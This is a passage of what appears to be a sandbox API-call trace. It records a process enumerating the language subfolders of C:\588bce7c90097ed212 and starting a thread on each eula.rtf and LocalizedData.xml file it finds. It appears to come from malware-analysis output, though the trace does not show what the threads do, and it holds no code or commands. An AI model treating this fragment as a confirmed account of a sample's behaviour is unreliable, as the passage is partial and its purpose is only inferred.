	[0073.358] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.358] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.358] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a378
	[0073.358] wcscpy (in: _Dest=0x2d7a378, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0073.358] wcscat (in: _Dest=0x2d7a378, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0073.358] wcscat (in: _Dest=0x2d7a378, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml"
	[0073.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc
	[0073.359] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.359] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.359] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.359] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.360] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71400) returned 1

Thread:
	id = 53
	os_tid = 0x12d8

	[0073.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.361] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0073.361] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0073.361] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1040\\*") returned="C:\\588bce7c90097ed212\\1040\\*"
	[0073.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.361] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.362] wcscmp (_String1=".", _String2=".") returned 0
	[0073.362] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.362] wcscmp (_String1="..", _String2=".") returned 1
	[0073.362] wcscmp (_String1="..", _String2="..") returned 0
	[0073.362] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.362] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.362] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47306f0
	[0073.362] wcscpy (in: _Dest=0x47306f0, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0073.362] wcscat (in: _Dest=0x47306f0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0073.362] wcscat (in: _Dest=0x47306f0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf"
	[0073.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47306f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0073.363] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.363] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.363] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a3e0
	[0073.363] wcscpy (in: _Dest=0x2d7a3e0, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0073.363] wcscat (in: _Dest=0x2d7a3e0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0073.363] wcscat (in: _Dest=0x2d7a3e0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml"
	[0073.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4
	[0073.364] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.364] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.364] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.364] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.364] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71180) returned 1

Thread:
	id = 54
	os_tid = 0x880

	[0073.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.365] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0073.365] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0073.365] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1041\\*") returned="C:\\588bce7c90097ed212\\1041\\*"
	[0073.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.365] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.365] wcscmp (_String1=".", _String2=".") returned 0
	[0073.365] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.366] wcscmp (_String1="..", _String2=".") returned 1
	[0073.366] wcscmp (_String1="..", _String2="..") returned 0
	[0073.366] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.366] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.366] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730740
	[0073.366] wcscpy (in: _Dest=0x4730740, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0073.366] wcscat (in: _Dest=0x4730740, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0073.366] wcscat (in: _Dest=0x4730740, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf"
	[0073.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8
	[0073.366] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.366] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.366] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a448
	[0073.367] wcscpy (in: _Dest=0x2d7a448, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041"
	[0073.367] wcscat (in: _Dest=0x2d7a448, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0073.367] wcscat (in: _Dest=0x2d7a448, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml"
	[0073.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0073.367] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.367] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.367] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.367] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.367] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71300) returned 1

Thread:
	id = 55
	os_tid = 0x1220

	[0073.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.368] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0073.369] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0073.369] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1042\\*") returned="C:\\588bce7c90097ed212\\1042\\*"
	[0073.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.369] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.369] wcscmp (_String1=".", _String2=".") returned 0
	[0073.369] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.369] wcscmp (_String1="..", _String2=".") returned 1
	[0073.369] wcscmp (_String1="..", _String2="..") returned 0
	[0073.369] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.369] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.369] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730790
	[0073.369] wcscpy (in: _Dest=0x4730790, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0073.369] wcscat (in: _Dest=0x4730790, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0073.369] wcscat (in: _Dest=0x4730790, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf"
	[0073.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0073.370] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.370] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.370] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a4b0
	[0073.370] wcscpy (in: _Dest=0x2d7a4b0, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042"
	[0073.370] wcscat (in: _Dest=0x2d7a4b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\"
	[0073.370] wcscat (in: _Dest=0x2d7a4b0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml"
	[0073.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4
	[0073.371] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.371] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.371] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.371] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.371] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70f80) returned 1

Thread:
	id = 56
	os_tid = 0xe88

	[0073.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.393] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043"
	[0073.393] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\"
	[0073.393] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1043\\*") returned="C:\\588bce7c90097ed212\\1043\\*"
	[0073.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.393] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.394] wcscmp (_String1=".", _String2=".") returned 0
	[0073.394] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.394] wcscmp (_String1="..", _String2=".") returned 1
	[0073.394] wcscmp (_String1="..", _String2="..") returned 0
	[0073.394] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.394] wcscmp (_String1="eula.rtf", _String2=".") returned 1
